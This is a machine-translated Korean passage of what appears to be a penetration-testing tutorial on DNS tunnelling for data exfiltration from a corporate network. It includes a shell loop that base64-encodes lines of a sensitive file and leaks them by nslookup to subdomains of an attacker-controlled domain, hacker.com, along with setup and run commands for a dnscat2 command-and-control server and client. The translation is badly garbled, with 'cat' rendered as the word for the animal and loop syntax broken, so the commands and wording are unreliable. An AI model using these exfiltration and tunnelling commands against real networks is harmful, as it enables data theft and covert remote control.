데이터 중심 엔터프라이즈 네트워크 공격 및 방어 전쟁에 대 한. 데이터 어두운 건너로 알려진 또한 데이터 압출, 데이터의 무단된 전송 컴퓨터에서 말합니다. 회사 네트워크에 대 한 이러한 종류의 공격을 USB 디스크를 사용 하 여 수동으로 할 수 있습니다 하 고 데이터를 전송 하는 네트워크의 사용을 필요로 하는 자동화 된 방식으로 공격을 할 수 있습니다. 이 문서에서 우리 침투 테스트 및 해당 보안 강화 조치 중 네트워크 기반 데이터 어둠 건너 기술에 집중할 것 이다.
터널 기술
공격자로 서 우리는 우리가 유효한 도메인 자격 증명을가지고 있지 않다는 걸 가정. 즉, 우리가 밖으로 데이터를 전송 하는 회사의 에이전트를 사용할 수 없습니다. 또한, 우리는 인터넷에 연결 되어 있지, 중요 한 정보를 누설 수 없습니다 우리가. 따라서,이 경우에, 터널 기술은 매우 중요 한 역할을 재생할 수 있습니다.
터널링 패킷을 직접 네트워크를 통해 전송 되지 않습니다 하지만 오히려 캡슐화 기술을 통해 다른 (일반적으로 암호화 된) 연결에 데이터를 보냅니다. 실제 데이터는 다른 프로토콜을 통해 전송 하 고, 때문에 인터넷에 액세스할 수 있는 기회가입니다.
사용 되는 프로토콜의 종류에 따라 터널 이름을 다를 수 있습니다, 그리고이 문서에서 우리는 가장 일반적인 유형 중 일부를 설명 합니다.
DNS 터널
DNS 터널을 도입 하기 전에 몇 가지 매우 간단 하지만, 중요 한 지식으로 시작 하자.
쮝 ~ cat/etc/resolv.conf|grep-v '#'
도메인 acme.local
네임 서버 192.168.1.1
네임 서버 192.168.1.2
첫째, 우리는 내부 DNS 서버를 식별 해야 합니다. 이것은 쉽게, 그리고 몇 가지 테스트 될 것입니다. 우리는 다음 질문에 대답 해야 합니다.
우리 내부 DNS와 통신할 수 있습니다?
우리 회사 DNS 통해 내부 도메인을 확인할 수 있습니다?
우리는 내부 DNS를 통해 외부 도메인 (예: pentest.club)를 해결할 수 있습니다?
우리가 외부 DNS와 직접 통신할 수 있습니다?
쮝 ~ nslookup acmebank.local
서버: 192.168.1.1
주소: 192.168.1.1 #53
Name:acmebank.local
주소: 192.168.10.12
쮝 ~ nslookup google.com
서버: 192.168.1.1
주소: 192.168.1.1 #53
비 권위 있는 응답:
Name:google.com
주소: 216.58.209.14
쮝 ~ nslookup pentest.blog 8.8.8.8
서버: 8.8.8.8
주소: 8.8.8.8 #53
비 권위 있는 응답:
Name:pentest.blog
주소: 104.27.169.40
Name:pentest.blog
주소: 104.27.168.40
첫 번째 명령은 결과 표시 우리 내부 도메인을 구문 분석할 수 있습니다; 두 번째 명령은 결과 우리 기업의 DNS 서버를 통해 외부 도메인을 확인할 수 있는지 보여줍니다. 즉 우리가 DNS 터널을 구현할 수 있지만 3 명령에 관심을 끌기 하 고 싶습니다. 가장 안전한 네트워크 외부 DNS와 통신할 수 없습니다. 네트워크는 일, 이것은 또 다른 보안 문제, 침투 테스터이 허용 하는 경우 혼자 문제를 지적 해야!
DNS 터널은 어떻게 작동 합니까?
이 문서는 매우 상세한 회로도, 뿐만 아니라 각 단계에 대 한 자세한 설명을 제공합니다.
1. 가정 침투 테스터는 완전 하 게 통제는 hacker.com 같은 도메인의 통제에 있다. 침투 테스터 hacker.com를 해결 하기 위해 내부 DNS 서버에 DNS 요청을 전송
2. Hacker.com의 권한 있는 DNS 서버는 인터넷에 다른 곳에 있습니다. 따라서, 그것은 방화벽을 통해 루트 서버에 해당 요청을 리디렉션합니다.
3. 여러 리디렉션 후 DNS 요청 침투 테스터에 의해 제어 하는 도메인 이름 hacker.com 권한이 있는 DNS 서버에서 마지막으로 도착 한다.
4. 이후이 요청 침투 테스터에 의해 생성 된 응답은 상관 없습니다.
5. 응답 내부 DNS 서버에 도달
6. 마지막으로, 침투 테스터는 응답을 받게 됩니다.
이 과정은 실제로 회사 네트워크 외부의 서버와 통신을 사용할 수 있습니다. 지금까지, 우리는 단지 외부 서버와 통신 하는 방법을 발견 했습니다. 그러나, 여기에 데이터 침투 하는 방법이입니다. 같은 시간에 우리는 몇 가지 중요 한 데이터가 다음과 같이 가정 합니다.
쮝 ~ 고양이 Sensitive.txt
앨리스
밥
존
같은 시간에 우리 싶어 인터넷을 통해 이러한 비밀을 누설 설정이 상대적으로 안전 하지만.
1
내가 $ (고양이 sensitive.txt); 할 d = $ (에코 $i | base64) & & nslookup $d. hacker.com; 완료
위의 쉘 명령 행 선으로 중요 한 정보를 포함 하는 파일을 읽습니다. 콘텐츠의 각 줄은 다음 base64 인코딩. 다음 DNS 쿼리 중 하위 도메인으로 사용 됩니다. 이 방법에서는, 쿼리는 hacker.com에 대 한 권한이 있는 DNS 서버에 도착 하면, 일단 해당 DNS 로그를 캡처할 수 있습니다 우리 고 우리는 로그를 구문 분석 하 여 해당 하는 중요 한 데이터를 얻을 수 있습니다. 이 기술은 유용 하지만 다음과 같은 제한 사항이 있다.
이 단방향 통신입니다. 우리는 c 2에서 다시 명령을 보낼 수 없습니다 (권한 있는 DNS)
파일을 읽는 쉬운 반면, 100MB 데이터 작업을 해야 하면 어떻게 됩니까? DNS 패킷을 다른 순서로 도착할 수 있습니다.
따라서, 우리는 모든 문제를 해결 하는 도구를 필요 합니다. 다행히도, 우리는 DNSCAT2를 사용합니다.
어떻게 구성 하 고 DNSCAT2를 사용 하 여?
DNSCAT2는 클라이언트 및 서버 응용 프로그램을 제공합니다. 여기 DNS2 서버를 구축 하는 데 필요한 명령이입니다.
~ Git 클론 https://github.com/iagox86/dnscat2.git
~ CD dnscat2/서버 /
~ 보석 설치 Bundler
~ 번들 설치
다음은 기업 네트워크에 클라이언트 프로그램을 설치 하는 데 필요한 특정 명령을입니다.
root@pentest:~# git 클론 https://github.com/iagox86/dnscat2.git
root@pentest:~# CD dnscat2/클라이언트 /
root@pentest:dnscat2/client/# 확인
다 준비 되 면, 다음 세부 사항에서와 같이 DNSCAT2 서버를 지금 시작할 수 있습니다 우리가.
root@khaleesi:/opt/dnscat2/server# 루비 Dnscat2.rb Opendns.online
새 창 생성: 0
dnscat2 > 새 창 생성: 암호화-디버깅
Dnscat2 오신 것을 환영 합니다! 일부 설명서 5 월 최신입니다.
Auto_attach = > 거짓
History_size (새 창)에 대 한 = > 1000
보안 정책 변경: 모든 연결을 해야 합니다.
만든 새로운 창: d n s 1
0.0.0.0:53에 DNSCAT2 DNS 서버 시작
[도메인 Opendns.online =]...
가정 당신은 신뢰할 수 있는 DNS 서버를 실행할 수 있습니다.
다음으로 어디서 나 클라이언트 (-비밀은 선택 사항):
. / dnscat-비밀 = 7040f6248e601519a9ebfb761e2402e3 Opendns.online
도메인 이름 없이 서버에 직접 얘기 하 고, 실행 합니다.
. / dnscat-dns server=x.x.x.x,port=53-비밀 = 7040f6248e601519a9ebfb761e2402e3
물론, 당신은 자신을 알아 내려고! 클라이언트
UDP 포트 53에 직접 연결 합니다.
Opendns.online 침투 테스터의 통제 도메인 이름입니다. 또한, 그것은 권한이 있는 DNS 서버 opendns.online에 대 한 키를 생성 하는 것이 중요입니다. 이 키 터널 중 트래픽을 암호화 하기 위해 "공유 암호" 방식으로 사용 됩니다. 또한, DNSCAT는 두 개의 서로 다른 클라이언트 명령을 제공합니다. 외부 서버에 DNS 쿼리를 보낼 수 있습니다, 경우에 가장 안전한 네트워크 사람이 외부 DNS 서비스를 사용 하 여 허용 하지 않습니다 잊지 마세요.